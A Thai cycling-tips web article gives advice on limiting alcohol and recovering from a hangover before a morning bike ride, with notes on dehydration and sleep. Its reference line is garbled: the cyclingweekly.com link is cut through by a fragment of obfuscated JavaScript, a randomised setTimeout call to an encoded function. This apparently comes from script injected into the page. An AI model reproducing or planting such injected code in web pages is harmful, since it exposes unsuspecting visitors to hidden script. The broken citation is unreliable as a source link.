• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

ดื่มค่ำ ปั่นเช้า : วิธีเอาตัวรอดเมื่อต้องดื่มแอลกอฮอล์ เเต่เช้าพรุ่งนี้มีนัดปั่น

kan by kan
25 October 2018
in Cycling Tips
0
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เมื่อค้ำศุกร์นี้มีปาร์ตี้ แต่เช้าวันเสาร์มีนัดปั่นจักรยาน คำถามคือจะปั่นไหวหรือไหม ต้องเผชิญชะตากรรมปั่นไปขณะที่มีอาการ Hangover ปวดหัวไปตลอดทาง ดังนั้นสำหรับคำแนะนำที่ดีที่สุด ในการหลบเลี่ยงอาการไม่พึงประสงค์ต่างๆ จากการดื่มแอลกอฮอล์คือ “ไม่ดื่ม” เอาแค่น้ำผลไม้ น้ำชาหรือน้ำอัดลมนิดหน่อยแล้วกลับไปนอน แต่ถ้าทำไม่ได้ เลี่ยงไม่ได้ เราก็มีคำแนะนำมาฝากกัน

วิธีเอาตัวรอดเมื่อต้องดื่มแอลกอฮอล์ เเต่เช้าพรุ่งนี้มีนัดปั่น

1. ห้ามดื่มขณะท้องว่าง ก่อนการดื่มทุกครั้งควรต้องอาหารอะไรรับประทานรองท้องไปก่อน ซึ่งจะช่วยให้กระเพาะดูดซึมแอลกอฮอล์ช้าลง

2. ดื่มน้ำสลับเครื่องดื่ม จุดประสงค์ก็เพื่อป้องกันการขาดน้ำ และทำให้การดื่มแอลกอฮอล์น้อยและช้าลง เราจะมีสติมากขึ้นว่าจำนวนแก้วที่ดื่มไปมากน้อยเท่าไหร่

3. ดื่มแอลกอฮอล์ประเภทเดียว อย่าดื่มหลายหลาย เบียร์ ไวน์ หรือเหล้า ให้เลือกเอาอย่างใดอย่างหนึ่ง

4. อย่าเข้าไปเล่นเกมส์แพ้ต้องดื่ม เพราะการเล่นเกมส์จะทำให้เราต้องดื่มแอลกอฮอล์มากขึ้น แพ้ต้องหมดแก้ว รอบต่อไปชนะก็รอดแต่แพ้ก็ต้องดื่มอีก เป็นเกมส์ที่เราไม่สามารถควบคุมปริมาณแอลกอฮอล์ที่เราต้องรับได้

5. กลับบ้านให้เร็ว พยายามเลิกก็เวลาปกติ เพื่อจะได้มีเวลาพักผ่อนมากขึ้น ทางที่ดีให้ใช้ข้ออ้างว่าเอารถมา และต้องขับรถกลับ ข้ออ้างนี้ทำให้เราไม่ต้องดื่มหรือดื่มน้อยลง และมีเวลากับบ้านได้เร็วขึ้น

6. ดื่มน้ำก่อนนอน จุดประสงค์เพื่อรักษาระดับน้ำในร่างกายกลับคืนมาในช่วงเวลาพักผ่อน แนะนำทดลองใส่ Hydration tablet อย่างยี่ห้อ High5 Zero ที่มีสารอิเลกโตรไลท์ เพื่อทดแทนเกลือแร่ที่ขาดหายไปจากการดื่มแอลกอฮอล์

อาการเมาค้างหรือ Hangover เป็นผลมาจากการขาดสมดุลน้ำในร่างกาย (Dehydration) ทำให้เกิดการวิงเวียนคลื่นไส้ ปฎิกิริยาตอบสนองช้าและกล้ามเนื้อเมื่อยล้า การดื่มแอลกอฮอล์นั้นยังทำให้คุณภาพการนอนหลับแย่ลงด้วย

เรามักคิดว่าเวลาดื่มแล้วจะทำให้หลับเร็ว แต่ในความจริงแอลกอฮอล์นั้นจะทำให้ช่วงเวลา Deep sleep น้อยลง และยังไปรบกวนช่วงเวลา REM (Rapid Eye Moment) อีกด้วย นอกจากนี้ การดื่มแอลกอฮอล์จะทำให้เกิดการขาดน้ำ (Dehydration) เพราะแอลกอฮอล์เป็นตัว Diuretic หรือตัวขับปัสสาวะ บังคับให้ไตทำงานหนักเพื่อขับเอาปัสสาวะออกมา ดังนั้นเมื่อถึงเวลาปั่นจักรยาน การที่เราขับเหงื่อออกมา เราจะสูญเสียน้ำในร่างกายไปอีก เราจะสูญเสีย Performance เพราะการลำเลียงออกซิเจนและสารอาหารไม่มีประสิทธิภาพ (ขาดน้ำซึ่งเป็นสื่อนำไปเลี้ยงร่างกาย)

อ้างอิงandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-boozing-can-cycling-help-your-hangover-146017?fbclid=IwAR0XyqB0cjlUqtEF8tAUa0go-oAIbxP0vdeFKRaZKIDTgGrjGbAzkKrC660″>www.cyclingweekly.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • เล่นวินด์เซิร์ฟ นั่งชิลริมทะเล ตกเย็น ปาร์ตี้ปิ้งย่าง นอนรถบ้าน ณ tutu beach ริมหาดจอมเทียนพัทยา จ.ชลบุรี

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.